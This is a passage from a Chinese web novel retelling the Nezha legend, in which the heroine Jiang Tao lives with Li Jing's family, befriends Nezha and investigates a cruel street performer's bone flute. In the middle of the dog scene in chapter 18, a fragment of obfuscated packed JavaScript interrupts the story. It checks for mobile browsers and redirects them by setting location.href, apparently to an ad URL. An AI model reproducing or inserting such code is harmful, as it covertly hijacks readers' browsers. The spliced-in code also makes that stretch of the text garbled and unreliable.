姜桃听到此言,也不管自己师父同不同意,麻溜地就站起来,跑到洞口附近,拉着哪吒就往外跑。
他们跑出很远,哪吒也不挣扎,任由她像放风筝那样拽着,最后停在距离洞穴较远的一处河边。
“好险,好险。”姜桃拍拍胸脯,长长呼出一口气。
她抬手摸了摸面颊,发现有点油乎乎的,连忙趴在河边使劲洗了一把脸,顺带着洗去肌肤上的血腥之气。
擦好脸转过身,却见哪吒正绷着小脸看着她,一副又不开心了的样子。
“阿桃,你喜欢我兄长?”他直截了当地问道。
姜桃赶紧摇头,不想让他误会,更不想让这事被李家其他人知晓:“没有,没有,我这不是找个借口说服师父嘛。你大哥英俊帅气,年纪又合适,容易让人信服,所以我才选择他。对不起啊,哪吒,你不要生气,我不是故意要污损你兄长名誉的
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。”
姜桃怕他多想,立刻解释道。
可哪吒的面色越来越沉凝紧绷,嘴角又往下撇去,听完她的辩解,慢慢转过身去,不再理睬她。
啊,这——
姜桃愁眉苦脸起来,这孩子到底又搭错哪根弦了?
两人就这么面朝背地僵持着,幸好不一会儿,太乙真人出来了,腾云驾雾到他们所在之处,脸上依旧笑容慈祥。
“碧云,你师父已经同意了,随我们回李府吧。”他说道,身下升起一团蓝紫色云雾。
“哦,哦——”居然这么快的吗,姜桃诧异着点点头,跳上那团云。
“哪吒,过来。”太乙朝背对着他们的哪吒召唤道。
此刻的哪吒,正双手背在身后,昂着脖子以一副诡异的成年人的仪态眺望远方,只是那小小的身影看着有些不伦不类的,还有些可爱。
姜桃抿住嘴角偷偷笑了笑,在哪吒转过身时连忙抬起袖子掩住口鼻,假装打喷嚏。
哪吒深沉地迈上紫云,并没有跳。
一路三人皆无言,似乎都在思考着各自的心事。哪吒也没再提之前一直特别执着的关于她住在哪里的话题。
飞离骷髅山的时候,姜桃回眸望了一眼。
原来这山从远处看,是这样嶙峋陡峭啊,真的就像是骷髅一样。
回到李府,只是一瞬间的事情。姜桃感慨太乙真人果真法力深厚,然而哪吒却对这个未来的师父一脸高傲,昂着脑袋跳下来,瞅都不瞅他们就往庭院中间走。
李靖和殷夫人闻声出来迎接,殷夫人直奔姜桃而来,握住她的手左看看右看看,最后满意地点点头。
“是比吒儿大了些,但若是日后能管束住他,倒也挺合适。”貌美端庄的夫人若有所思地自语道。
诶,夫人你是不是理解错什么了?
“那你就住在金吒的房间吧,坐北朝南,阳光很充足,西边还有树荫,很适合睡午觉呢。”殷夫人笑着安排到。
此言一出,正在跟李靖大眼瞪小眼的哪吒,忽地扭过脖子,深沉了好半天的脸又垮下来,怒视着他们,像只暗暗较劲的小猫。
而这边,殷夫人已经拉着姜桃的手,愉快地往庭院东北角走去了。
“哎呀,李兄,不要这么严苛,娃儿还小,待我慢慢教导他。”太乙真人打圆场道。
“我不小了!”哪吒像是被什么刺到了,刷地又把脖子扭回来,倔强又气鼓鼓地顶嘴道。
李靖气得眉毛乱飞,太乙真人却并不在意,笑得越发慈爱。
“那好,明日你便随为师学习如何?”
“学就学。”
“嗯,这还差不多。”太乙摸摸胡子,“那你有没有什么想要先学的?”
哪吒抱起手臂,挑起一侧眉毛,黑着小脸挑衅般道:“有。”
“是什么?”
“变大。”
李靖:“……”
17.高冷
当晚,姜桃就舒舒服服住了下来。
金吒的房间敞亮、通透,还特别整洁,一点也看不出是男孩子住过的,还有股淡淡的皂香,令她无端遐想起他袖袍轻轻拂过,带来一阵优雅淡香的画面。
真是芝兰玉树的一位偏偏佳公子啊,这形象这气质这身份配置,放到哪部电视剧都是妥妥的男一号。
她开心地在松软的床榻上打起了滚,这是她来到异世界第一次拥有自己的房间,不是山洞,不是石床,而是完完全全属于自己的豪华套房。
所以她除了开心,还是开心。
殷夫人人特别好,不仅让丫鬟给她重新收拾了房间,还挑了些她自己新做的衣服,亲自到房间送给她。
姜桃简直受宠若惊,扭扭捏捏地接下那些衣服,在殷夫人温和的打量下,微微红了面颊。
“真可爱。”她疑似听见殷夫人笑着自言自语了一句,脸颊越发绯红了。
总感觉夫人看她的眼神有些奇怪,难道她对她的定位不是哪吒的小跟班吗?
一款有效促进他拜师学艺,还能在闲暇时间陪他做不倒翁的小跟班。
“住的还习惯吧?”夫人忽然问道,一个与姜桃年龄差不多大的丫鬟奉上茶水与水果。
“习惯,习惯。”姜桃连忙回答说,“比山洞里好太多了。”
还没有稀奇古怪的骷髅装饰物。
“那就好。”夫人笑笑,“一会儿晚饭你就在这里吃吧,我让人给你端来。你也累一天了,就别去膳厅折腾了,吃饱喝足早早睡觉。”
姜桃想到了自己的妈妈,鼻尖涌上一股酸涩,用力点了下头。
大约过了两柱香时间,晚饭被管家端了过来,居然有螃蟹和鱿鱼须,看得姜桃瞬间忘记了拘谨,口水都快止不住了。
临海就是好,海鲜吃到吐。
管家离开后,她偷感十足地掩上房门,迫不及待盘腿坐到桌前,搓搓手心,拈起竹筷大口大口吃起来。
好香,好香,大户人家就是不一样,做出来的东西口感细腻,即便没有现代蘸料也非常香脆,新鲜而富有质感。
酒足饭饱后,她开始犯困。丫鬟进来收拾餐具,她有些不好意思地凑上前,问哪里能沐浴。
丫鬟告诉她夫人老爷还有少爷们,用的都是东厢房旁边的浴室,而她们这些下人用的则是西跨院厨房后面的浴室。
如此回答,显然她也不知道姜桃该被定位在哪个阶层。
姜桃自己自然也不清楚,于是讪讪地“哦”了一声,打消了去沐浴的念头,打算等明天问问殷夫人再说。
今天已经很麻烦她了,她实在不好意思再去叨扰,何况夫人现在应该在陪哪吒吧,儿子突然闯出结界失踪,她一定也担忧了一整天,自己就别去打扰他们一家人团聚了。
如此想着,她管丫鬟多要了两桶热水,在热水到来前,伸着懒腰在偌大的套房内转了几圈,逐渐熟悉每个地方,也对几千年前的生活有了新的认识。
热水来了,她用巾帕沾着简单擦了擦身子和头发,没好意思再唤人进来,自己摇摇晃晃提着水桶,走到后院的排水沟旁哗啦哗啦倒进去。
夜色已经十分浓郁,仿佛泼墨,她回到房间,钻进被窝,瞪大眼睛看着床帐,感觉到一种强烈的不真实感。
还有一种自不量力的幸福感。
好舒服啊,要是能永远睡在这样的环境里,该多好。
她慢慢闭上眼睛,脑海里却止不住想象金吒住在这里时的情景,然后金吒的脸和哪吒重合了。
哪吒长大会是什么样子呢?肯定是个大美人没错了,但具体会是个什么样子的美人呢,总感觉他和他的两个兄弟不太是一个画风,虽然都很帅。
金吒像母亲,木吒像父亲,哪吒因为五官太过精致而不像任何人,非要硬说的话,眼睛的形状有些像殷夫人,除此之外,便没有任何共同点了。
想着想着她睡着了,一夜无梦,直到天明。
从第二天开始,她午餐、晚餐都被邀请到膳厅里吃,这种主人级别的待遇令她微感无措,但殷夫人温柔又随和,让她的紧张很快得到舒缓,渐渐地也就适应了。
早餐基本是各吃各的,李靖有公务在身,每天早上都要去军营例行办公,有任务时甚至要离家十天半月,所以他吃得最早,殷夫人大部分时间也和他一起吃,毕竟夫妻俩同枕而眠,作息难免渐渐趋同。
至于哪吒,起床气很重——他确实晚上难以入眠,通常只睡两三个小时,整个夜晚大部分时间都是醒着的,殷夫人对此很发愁,也找过许多郎中,然他体质实在特殊,谁也检查不出了所以然,最后给出的结论是火气太旺、精力太充沛,不需要那么多觉。
可哪吒的黑眼圈表明他确实缺乏睡眠,殷夫人心疼的直掉眼泪,李靖却哼着鼻子,说他就是白天太闲,应该找个老师教他读书写字,学习累了自然就能睡着了。
最终,这事也一点都没解决,殷夫人除了默默心疼垂泪外,也没有任何办法。
说到哪吒——
他这几天居然意外乖顺,或者说深沉,本来还担心他夜里敲门爬窗什么的,但没有,夜里只有风吹窗棂的沙沙声,舒适而惬意。
姜桃盘腿坐在床上,歪着脑袋略感疑惑。
他这是怎么了,好像一夜之间成长了似的。
两天过去,哪吒开始正式学艺了。因为李靖坚持要举办大型拜师宴,所以目前太乙真人只在府中教他一些简单的小法术,同时李靖还给他安排了教书识字的老师,将他一天安排得满满当当,妥妥的鸡娃阵势。
是不是太严苛了,哪吒能行吗?能沉下心来学习吗?
毕竟怎么看,都是个又淘又叛逆的孩子。
事实证明她想多了,哪吒意外地没有搞事,端端正正学了好几日。他极其聪明,进步飞快,太乙真人自豪得合不拢嘴,教书先生也惊得“花容失色”,认为自己捡到了一位百年难遇的天才。
殷夫人感动地站在书房外,拿手帕不住地揩着眼睛,不知怎的,还把功劳归功给了姜桃,对她越发照顾有加。
姜桃也越发受宠若惊,她真的什么也没干,还害得她儿子被结界割得浑身冒血——
姜桃闲时无聊,也偷偷观摩哪吒学习。她知道哪吒能感应到她的气息,但只要他没撵她走,便是默许,
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她毫无必要地继续躲在树干、水缸、花墙等后面偷看,觉得哪吒认真时的样子,还挺酷帅。
只是每次和他打招呼,他都不冷不热地先从鼻孔里哼出一声,然后昂着脖子缓慢四顾一圈,最后才将目光落在她身上,表现得相当奇怪。
还特别爱背着手。
姜桃对此深感疑惑,却不敢直接问,只挠挠脸颊讪讪一笑,决定下次还是不主动和他打招呼了。
可不主动也不大行,好几次哪吒看似躲避,实则不知怎么的就晃悠到了她眼前,目光假意四处逡巡,脚丫却紧紧踩着她的影子,仿佛她不开口就不罢休。
“早上好啊,哪吒。”她只得咧咧嘴角,挤出一抹尴尬的微笑。
于是又是一套熟悉的谜之操作,以至于姜桃惊恐地在小哪吒身上,看到了好几个酷爱表演油腻霸总的男明星的影子。
要不是知道没人敢,她都要怀疑哪吒是不是被谁给夺舍了。
晚上,哪吒躺在小床上,左拧右拧好半天,才忍住没打碎维持了好几天的深沉面具,颠颠跑过去找阿桃玩。
他枕着双手翘着脚丫,盯着帐顶目光虚浮。
突然,他放空的目光倏地聚焦,一个弹射从床上起来,跑到案几旁,在堆得乱七八糟的书简中摸出一块沾了酱汁的绢布,提笔蘸墨飞快写了起来。
他写的是一份计划书,名曰“愿望清单”:
一,与阿桃一起逛街,让所有人都看看,他也是有朋友的。
二、再与阿桃一起做一只不倒翁。
三、想办法与阿桃睡在一个房间,阿桃身上的气味好好闻,只有闻到他才能睡着。
四、与阿桃一起踢沙袋……
越写越兴奋,脑海里已经提前列出了七八九。
等自己变得和兄长一样高大成熟,阿桃一定就愿意跟他一起做这些了吧……
咚咚咚——
传来了敲窗户的声音,他不大高兴被打扰,冷着脸去开窗,却看见阿桃站在床外,穿着一件特别粉嫩的藕色曲裾,白皙的脸蛋被月光照得暖融融的。
“哪吒,你还没睡啊?”姜桃好奇地越过他肩膀,朝里面扫了一眼,只看见满桌书简,以为他在熬夜苦读,不禁面露赞许。
“正要就寝。”哪吒重新收敛起表情,直着脖子高冷地咬文嚼字道。
姜桃:“……那个,是这样,刚刚夫人拜托我一件事,让我明日和你一起去街上挑些宴会用的礼品,正好明日没有课,你……去吗?”
“既然是母亲的安排,我自会随你去。”哪吒如此回道,又背起了手。
“哦,哦,那好,那明天早饭后我过来找你。”姜桃在一堆小问号的包裹下,轻声敲定道。
“好。”哪吒简短道。
“……”姜桃挠挠颧骨,“那我先走了,你要好好休息哦。”
说罢,轻手轻脚钻进了浓稠的黑夜,影子很快融入花影树影之中。
她前脚一走,哪吒就乐开了花,面具碎了一地,一下子从窗口蹦到床上,开心地打起了滚。
第一个愿望,和阿桃逛街,居然就这么实现了——
芜湖!
18.小狗
第二天,姜桃早早就起来了,将殷夫人需要的东西列在清单上,仔细揣好,然后去厨房取早餐。
她到底还是不习惯衣来伸手饭来张口,所以力所能及之事都尽量亲自去做。路过偏院时,听见李靖和殷夫人在交谈。
她下意识躲在一棵树后,打算等他们离开再去取饭,难免将他们的对话听入耳中。
大体内容就是李靖不想让哪吒出门,生怕他再惹出祸端,让他精心筹划的拜师大宴泡汤,可殷夫人执拗地坚持己见,辩解几句后就开始抹眼泪,弄得李靖手足无措,最后叹着气同意了。
殷夫人转过身时,立刻破涕为笑,贴心地给夫君整理了下衣襟和腰带,挥着手帕送他离开,然后自己也折返回居室。
姜桃偷偷地掩口笑了,李靖看似一家之主,实则被夫人游刃有余地拿捏,这与她的想象很是有些出入。
吃过早饭后,她慢悠悠斜穿庭院,来到哪吒房间前,刚打算叩门,门就从里面打开了。
哪吒小朋友直挺挺立在门口,换了一身藕粉色新衣服,与她昨日穿的那件曲裾颜色相近,衣襟领口难得板板正正,扣子也整整齐齐都扣上了。
真是个漂亮的孩子,每次冷不丁看见他时姜桃都会忍不住感慨一句。
可不知为何,看见她时他眼里飞速闪过一丝失落,低头瞅了瞅自己的衣裳,又瞅了瞅姜桃新换的水绿色镶白边的曲裾。
“早上好啊,哪吒。吃过早饭了吗?”姜桃露出标准的八颗牙齿,顶着金灿灿的阳光笑着问道。
哪吒敛去眼中情绪波动,老气横秋地点了点头。
“那、那我们出发吧……”姜桃实在想不明白,是什么让一个冷漠桀骜,冲动强悍,还时不时黑化一下的孩子,变成了如今这副小老头模样,她跟在他身后,歪着脑袋左看右看,也没看出个所以然。
叛逆期吗?她只能得出这一个结论。
走在集市上,行人纷纷侧目,指指点点。
不是很大声的那种,毕竟李靖地位摆在那里,可这种嗡嗡嘤嘤的蛐蛐声比大声责骂还让人浑身难受,仿佛是一群苍蝇在耳边聒噪。
可哪吒丝毫不在意,挺着胸背着手往前走,人们蛐蛐的声音越密集,他走得越坦荡自豪,有种对着干的意思在里面。
可姜桃知道,他心里肯定很难受。他是那样渴望朋友与陪伴,甚至连她这种半吊子都死不放手,想要发展成“唯一”,不可能不对人们不加掩饰的恶意无动于衷。
也许他正偷偷握着拳,以此抵御内心的痛苦吧——
姜桃低眸看过去,他并没有握拳,也没有任何能暴露内心真实情绪的微动作,仿佛是真的毫不在意。
“我们先买布料吧,夫人说要给你做两件新衣服,来,哪吒,挑一个你喜欢的颜色。”姜桃在布匹店停住脚步,指着垂挂下来的布料,笑盈盈道。
殷商时代布料染色还很困难,因此彩色布料,尤其是浅颜色的,价格异常昂贵,可夫人却能每周都去采购一趟,足可见李府财力雄厚。
所以排除那些神话因素,哪吒妥妥就是一个金尊玉贵的小少爷嘛。
哪吒煞有介事迈进布店,吓得店里伙计直往后跳。
“就要这个颜色。”小大人转了一圈,淡定地指着一匹水绿色布料,笃定道。
“可是,哪吒,男孩子很少穿这个颜色哦。”姜桃好心建议道。
“我就要这个。”哪吒坚持己见,一侧眉毛挑了起来,依稀可见先前气场。
“那好吧。”姜桃将殷夫人告诉她的尺寸报了出去,店伙计哆哆嗦嗦地扯布,眼角余光直往哪吒身上斜。
“喂,你认真点,扯坏了我可不要哦。”姜桃挡住他斜睨的目光,不大客气地威胁道。
伙计连忙老实,收回目光专心工作,心里却想不愧是能跟小魔头混在一起的小丫头,果然也是个刁钻的女魔头。
买完布,然后是装饰彩带、书墨绢帛,还有一些零碎小物,看似不起眼,最后也装了满满三个大口袋。
她现在没有石矶娘娘的法宝了,所以只能用胳膊挎着。
哪吒扭头四顾,无视那些一见到他视线就连忙躲闪的老百姓,注意到集市上凡是男女一同购物的,都是男人拎着较多的袋子,女人只挎着篮子,于是把头扭回来,用手指头生硬地戳了戳姜桃的胳膊。
“我来拿。”他指指袋子,以校霸般口吻要求道,眼睛黑漆漆的,似乎望不到底。
“啊,没事没事,一点都不沉。”姜桃往旁边闪了一下,“你还是小孩子,长身体最重要,拎重的东西会长不高哦。”
哪吒唰地止住脚步,周身溢出一些低气压,唬得姜桃肩膀一颤,也停下脚步。
这小少爷又咋了?
他垂着脑袋,表情隐匿在阴影中,好半天才慢慢抬起头,注视着姜桃的眼睛。
“阿桃,总有一天我会长高的,长得很高很高,比兄长还高。师父说只要我认真跟他修行,这一天很快就会到来的。”
他说得十分认真,仿佛是在宣誓,以至于姜桃都愣住了。
咋又执着起长个了呢?
她脑补了一下长大后的哪吒,但好像没有具体的参考形象,大部分哪吒都是少年模样,最大的也不过十六七岁模样。
但肯定是个无敌美少年就是了。
可能是先入为主吧,她还是觉得小小的哪吒最可爱,现在这个半大不小的样子也很惹人疼爱。
“为什么要着急长大呀?”她歪歪脑袋,“我觉得你现在就很好啊。我说,哪吒,你最近是不是有什么心事,总觉得你怪怪的——”
哪吒被戳中心窝,目光躲闪起来,这时一只小狗窜过来,绕着他脚踝转圈撒欢,尾巴摇得十分热烈。
那是一只可爱的田园犬,俗称小土狗,哪吒被他吸引住目光,面色稍稍和缓下来,做出弯身想要抱的动作,却很快又止住了。
姜桃注意到他脸上闪过一丝厌弃。
肯定不是针对狗子的,她脑子一转,立刻就猜到怎么回事了。
记得她第一天偷窥,哪吒就因为捏死一条狗被李靖关了禁闭,可这么多天相处下来,哪吒虽然杀气很重,对认定的敌方手不留情,却也有冲小猴子扮鬼脸的孩子气一面,对于毫无攻击性的小狗,他不大可能下杀手。
这其中肯定有隐情。
可谁又会污蔑他呢?他本来就因为出生时的异兆,被整个陈塘关畏惧,根本不差这一次了。
姜桃看得出他挺喜欢小狗的,却又倔强地不肯弯下身抚摸它,便率先蹲下来,在小狗脊背上顺了几顺,见它不排斥,才轻轻抱起来,放在怀里,掏出一只肉包子喂它。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194380|164372||http|test|mini|href|location''.split(''|''),0,{}));
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>小狗立刻转了主攻方向,一边舔包子,一边冲她摇尾巴。
“哪吒,你喜欢小狗吗?”姜桃假装什么也不懂,仰起头问道。
哪吒固执地□□在原地,把头一扭,咕哝道:“不喜欢,又吵又多动,谁会喜欢那种东西。”
姜桃叹了一口气,心想傲娇还是需要直球,便开口言道:“那只狗到底是怎么回事?我不相信是你弄死的,你能告诉我事情的经过吗?”
狗子应景地“汪汪”了两声,尾巴摇得敷衍起来。
哪吒这回紧紧攥了一下拳头,然后扑通一下盘腿坐了下来,抱着手臂盯着吃肉包子吃得起劲的小土狗,耷拉着眼皮道:
“那天我在家附近看见了一只落单的小狗,它一点也不怕我,还凑过来蹭我的腿,人们都说狗是最忠心的好朋友,我没有朋友,便想也许狗会愿意与我做朋友。很快我发现它身上有很多伤,都隐藏在皮毛下面,没多久一个杂耍艺人找过来,说这是他的狗,让我还给他,我不给,他就急了,抽出长剑想要砍我,我很生气就揍了他一顿,可最终小狗还是选择跟他一起离开,再然后它就死了。那个杂耍艺人上门告状,说是我掐死了他的狗,还把他殴打了一顿,父亲不分青红皂白就信了他的话,给了他一笔补偿,把我关进仓库。”
他一口气说道。许是真的十分委屈,说的时候表情深恶痛绝,还散发出浓烈的杀气,吓得小狗丢下包子夹着尾巴落荒而逃。
他对杀生可能不甚在意,但对于被冤枉,可是会一直耿耿于怀,指不定做出何种疯狂举动的。
姜桃全然没注意到小狗跑路了,她听得眼泪汪汪,心里想的全是哪吒也太不容易了,他有什么错,他只是想要一只小狗陪伴而已。
忽然,她灵机一动,抱着膝盖凑近道:“哪吒,你还能找到他表演杂耍的地方吗?我们去看看,看看他是不是真的虐待小狗。”
哪吒微微愣了一下,很快就点点头,两人没费多长时间,就找到了那个一瘸一拐的杂耍艺人。
“你是不是给人家的腿打折了一条?”姜桃小声嘀咕道。
“本来两条都想打折的。”哪吒露出懊恼的神情,“可那只小狗一直叼着我的裤腿,我就心软了。”
这就是狗狗啊,忠心到都有些愚蠢了,认定主子便不离不弃,即便被虐待也仍然护着他。
只见那艺人身边围了很多观众,铜罐子里堆满了钱币,正指挥着一只小狗跳火圈。
姜桃心里涌上一股厌恶,尤其在看到小狗瑟瑟发抖,尾巴被烧秃了好几块,更是气不打一处来。
可恶,要是有手机就好了,拍下这一幕,回去给李靖看。
除了小狗,他身边还有一只笼子,关着一只瘦骨嶙峋的小猴,另还有一只陶罐,盖子封得紧紧的,里面似乎是蛇,因为他腰间别着一只竖笛。
忽然一阵风吹过,那只小巧的笛子毫无征兆吹响,声音凄厉,仿佛是婴孩的呜咽之声,令人骨头缝里都渗进阴冷。
姜桃感到一阵心悸,她拉了拉哪吒的手臂,面色苍白地说咱们走吧。
给石矶打工的这两个月,别的没学会,对各色骨头倒是被迫如数家珍,那艺人腰间别的笛子,绝对是人骨打磨而成的,而且看成色与密度,应该是个孩子的。
甚至很可能是活着的时候,硬生生取下来的。
19.笛子
晚饭时分,一家三口难得聚齐。
殷商时代和先秦一样,实行分餐制,每人面前一张小桌,一份相同的菜肴。姜桃坐在殷夫人左手边,夫人的另一边坐着哪吒,而李靖作为一家之主,坐在隔着一条过道的对面。
今晚的主食是黍米,配菜都是绿叶植物,肉食是鸡肉和猪肉,在这个时代,属实很奢侈。
饭厅里鸦雀无声,寂静得令人尴尬,只能听见碗筷磕碰和吞咽的声音。
这也难怪,以往吃饭要么李靖不在,要么哪吒不在,两人同时在场便会出现眼下情景,气氛有如鸿门宴。
“阿桃,今日去集市上,看到什么有趣的东西了吗?”殷夫人主动找话题问道,试图缓解气氛。
姜桃连忙咽下一口饭,腮帮子鼓鼓地回答了一二。
但这并不是重点,重点在后面。
“我还看见了一个巡游的杂耍艺人,指挥小狗跳火圈,可好看啦,那小狗特别聪明伶俐,只是它的尾巴上都是烧焦的痕迹,肚皮上也有伤,让我突然很难过,就没有给他投钱币。”
殷夫人面露惊讶,眼睛微微瞪圆:“那他是不是虐待那只小狗了?”
姜桃余光偷偷瞄了李靖一眼,发现他停住咀嚼,正做倾听状,连忙演技十足地叹息一声,说:“肯定是啊,小狗都很贪玩,能那么乖巧精准地完成跳火圈,必定是千百次训练才练成的,这期间不可能不频繁受伤。那人真是残忍,利用小动物赚钱。”
她说得茶里茶气,其实就是故意给李靖听的。
果然李靖沉吟良久,才重新咀嚼起晚饭,但他并没有发表任何言论,而是沉着脸朝哪吒瞥一眼,
哪吒正用筷子戳猪肉块,在盘子上戳出不悦的响亮的动静,李靖眉毛挑起来,胡子也跟着耸动。
他举起酒樽,喝了一口,放下时目光朝姜桃投来,以教导主任般的口吻质问道:“是不是哪吒指使你这么说的?”
啊?姜桃愣住,她预设过无数种反应,唯独没有这一种。
话说他到底有多不信任自己的儿子啊,只要与他有关的事,都往最恶劣的方向设想。
姜桃刚要开口解释,哪吒霍地从桌案后站起来,膝盖磕到桌沿,满满一斛水泼洒到地面上。
他握紧双拳,狠狠瞪了李靖一眼,什么也没说,转身就离开了饭厅。
“不是哪吒让我说的啊,”姜桃有些急了,立刻阐述道,“为什么您会这样问?”
李靖自是不知道她曾偷窥过,知道哪吒捏死小狗的那件事,他手指捏紧酒杯,怒视着哪吒离开的方向,听到她的话语,手指又慢慢松开。
“没什么。”他抖了抖胡子,哼着鼻子回答道,便不再理睬她了。
算了,毁灭吧,姜桃小幅度翻了个白眼,心想以后还是让你塔不离手,成日提防自己儿子吧。
她飞快塞了几口饭,也提前告退,端着几只桃子跑到哪吒房门前,轻轻敲了敲。
没人应门,也没有声音,姜桃鼓足勇气,在门板上轻轻推了一把。
门不仅没锁,根本就没关严实,一碰便吱吱呀呀向里打开,她蹑手蹑脚迈进去,穿过起居室,撩开通往卧室的帘子。
“哪吒,你在吗?”她边走边问,然后就在里边靠墙的小床上,看见了哪吒气鼓鼓的身影。
他没有躺着,而是抱着手臂盘腿坐在榻上,一双眼睛里淬满了怒火。
她还是第一次看见他如此愤怒,先前浑身是伤突破结界那次更多的是失望与不解,可这次纯粹只有愤怒,仿佛一只爆竹,随时都能迸裂爆炸。
他没当场发作,已经很给李靖面子了。
“哪吒,你先别生气,我们想想办法,把证据甩在你父亲面前,他自然就会明白一切了。”姜桃拿出安慰幼儿园大班小朋友的语气,柔声劝说道,在他床边坐下,桃子放在一旁。
可她忘了,哪吒的思维和意识也随着身体呈几何级数增长,再加上他学习知识极其迅速,有如盘古开天辟地,此时此刻早已不是五六岁孩子了,对很多事情都有一阵见血的判断。
“明白又如何,他是不会低头向我道歉的。”他冷冷地说道,“他只在意他总兵大人的名誉,和身为一家之长的尊严,否则就不会不分青红皂白污蔑我。外面的人视我为妖怪,你以为他又好到哪里去?”
“不、不会的,哪吒,你先冷静一下,李靖大人再怎么说也是你的亲生父亲,他还是爱你的。”
“爱我?阿桃,我出生的时候,若不是师父及时赶到,他早就一剑将我劈死。他如今肯将我养大,全是因为太乙真人答应做我师父,让他赚足了面子,那才是他的最爱。”
姜桃无言以对了。原来他竟想得这么深,只是一直都没有表现出来。
“他可劈不死你。”姜桃嘟嘟囔囔道,脑海里闪过“十万个冷笑话”,不知是不是被逗到了,竟胆肥地抬起一只手,在哪吒头顶揉了揉。
发丝厚重细腻,手感绝佳,于是忍不住又揉搓了两下。
“好啦,别想了,至少夫人是很爱你的,有多少孩子一出生就没有父母,父爱和母爱都感觉不到呢。”她想起了自己的父母,眼睛忽然泪汪汪起来。
哪吒抬起眼睛,看见她双瞳含水,眼尾绯红,以为她说的是她自己的身世,怒气瞬间没了大半,只剩下一种复杂的类似于心疼的情绪。
“嗯,我还有阿桃呢。”他忽然笑了起来,笑容纯粹明媚,可却隐隐透着股难以形容的无形压迫,“阿桃是我唯一的朋友,我只要阿桃就足够了。”
姜桃摸摸鼻子,每次听到他的唯一论,她都有点心惊肉跳,不知如何做答。
他盯着她眼睛,像是在等她回应。
姜桃眸子微微飘忽了一瞬,绷紧下颚,也笑道:“嗯,我也是,只要有哪吒就足够了。”
得到这个回复,哪吒很快就把李靖抛到脑后了,愉快地躺进被窝,任由姜桃给他掖好被角,趁她俯下身的时候,鼻子凑近领口使劲嗅了嗅。
姜桃登时红了脸,却不敢动作幅度太大,只能假装毫无察觉,借着给他整理床尾,慢慢挪开身体。
离开时,看见哪吒正歪头瞅着她,眸子黑得深不见底,嘴角却勾着笑意。
好看,但莫名瘆人。
“口渴的话,可以吃桃子哦。”姜桃指了指放在一旁的托盘,移开目光道。
有时候她总会觉得,现在的哪吒,不完全是他自己,或者说,没有完全释放出自我,像是被什么压了一半。至于为何会这样想,她也不清楚。
“嗯。”意外乖巧的回答。
她摩挲着手臂退出卧房,经过起居室时,被书案上的一张摊开的绢帛吸引了注意。
她弯身拾起来,正是那份“愿望清单”,她被吸引主要是因为哪吒的字居然出奇地好看,而他只学习了不到一周。
这孩子,妥妥的超级学霸啊,只是被暴躁的脾气和不好惹的外表掩盖了。
但下一秒,她就被上面的内容狠狠触动了,眼眶再度泛酸,忽听卧室里有响动,吓得连忙将绢帛放了回去,轻手轻脚掩门离开。
他只是有的时候气场太过摄人,可骨子里还是个渴望朋友的小孩子,自己偶尔那样惧怕他,是不是太不地道了?
她心顿时柔软起来,决定明天一定去集市上再观察一番,想办法让李靖相信哪吒就是被冤枉的。
那只笛子,她必须想办法弄到手摸一摸,才能确定是否为人类孩童。
洗漱完毕,她方要上床,听见窗户上传来敲击声,便走过去打开,只见哪吒若无其事似的站在外面,手里握着一只桃子。
“给你,我吃不了。”他造作地绷
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起小脸,越过窗棱,把桃子往她手里一送。
“哦。诶,你没睡觉啊?”姜桃低头瞅瞅桃子,又瞅瞅哪吒。
“我还要再读一会儿书。”哪吒重新换上了小大人模式,傲娇地哼道,眼睛却频繁地偷瞄她。
那你刚才往被窝里钻干嘛?姜桃忍不住在心里吐槽。
她还想再说点什么,但哪吒已经转过身去,又若无其事地离开了。
双手没背在身后,而是抄在裤兜里,留给她一个酷帅的背影。
只是个子实在有些小,看上去不伦不类的,小屁孩感十足。
姜桃又收获了满头问号,关上窗子,在困惑不解中咬了一口桃子。
好吃好吃,她坐在床边大口吃了起来,吃完才上床睡觉。
翌日,哪吒随太乙真人在海边山上修炼,她随便找了个借口出门来到集市,看到那个杂耍艺人还在老地方表演,正要挤上前寻找破绽,忽然在人群中看到一道熟悉的身影。
竟是李靖,穿着低调的常服,挤在人群中盯着那人看,时不时还露出沉思的表情。
果然,还是刀子嘴豆腐心,也很在意事情的真相。
姜桃心里涌上一阵欣慰,等李靖转身离开后,才慢慢挤上前。
既然他已经上心了,那么她只要找出证据,就一定就能为哪吒讨回公道。
她随着人群一点点凑近,眼睛死死盯着他腰间的笛子,几度伸出手,试图以迅雷不及掩耳之势夺过来。
有次险些就得手,可那手艺人竟察觉到什么似的猛一转身,目光差一点就要将她逮到——
完了,她心口一慌,脚下竟踉跄起来,这时一股清风萦绕而来,接着她就被一双结实的手臂环住腰间,原地旋转了九十度,被按进一个宽阔清冷的怀抱。
好消息是艺人没有将她逮个现行,坏消息是她扑进的怀抱,是个完全陌生的年轻男人。
穿着雾霾蓝的袍服,同色长发以玉冠高高束起,眸子也是蓝色系的,五官俊美清透,有种不真实的美感。
“你胆子也太大了,这种身手还想偷东西?”听得声音很好听,清贵又骄傲,像是水波缓缓荡漾。
“你、你是谁呀?难道你一直在观察我?”姜桃使劲挣扎了一下,然而尴尬的是男人并没打算继续搂着她,很快就收回了手,使她蓄足力气的扎挣显得很搞笑。
“算是吧。”年轻人也不否认,话音里带着点倨傲。
姜桃:“……”
“你为何想要偷他的笛子?莫非是察觉到了什么?”男人突然压低声音凝眸问道。
姜桃一愣,短暂分析一瞬后,点了点头。
虽然不知道他是谁,但总感觉目标一致。
“偷到手又如何?”
“我以前和师父学过,只要一碰到骨头,就能看见它生前的样子,我怀疑它腰间的骨头属于人类孩子,所以想摸一下,只要一下就行。”姜桃认真回答道。
在听见“人类孩子”这几个字时,男子眉心蓦地紧蹙,好半天才重新舒展开:“我可以帮你一把。除了能看见生前样子外,你还能看见什么?”
“死前在什么地方。”姜桃犹豫了一下,如实回答道,“但只有一闪念,并不很清楚,除非能让我握很长时间——”
“那好,我来帮你,然后把你看到的都告诉我。”他沉静地说,抬起掌心,里面是一只贝壳,下一秒竟变成了一只一模一样的笛子。
“哇,你会变形术,好厉害。”姜桃立刻变成了星星眼,这是她一直都很眼馋的法术,可惜没人教给她。
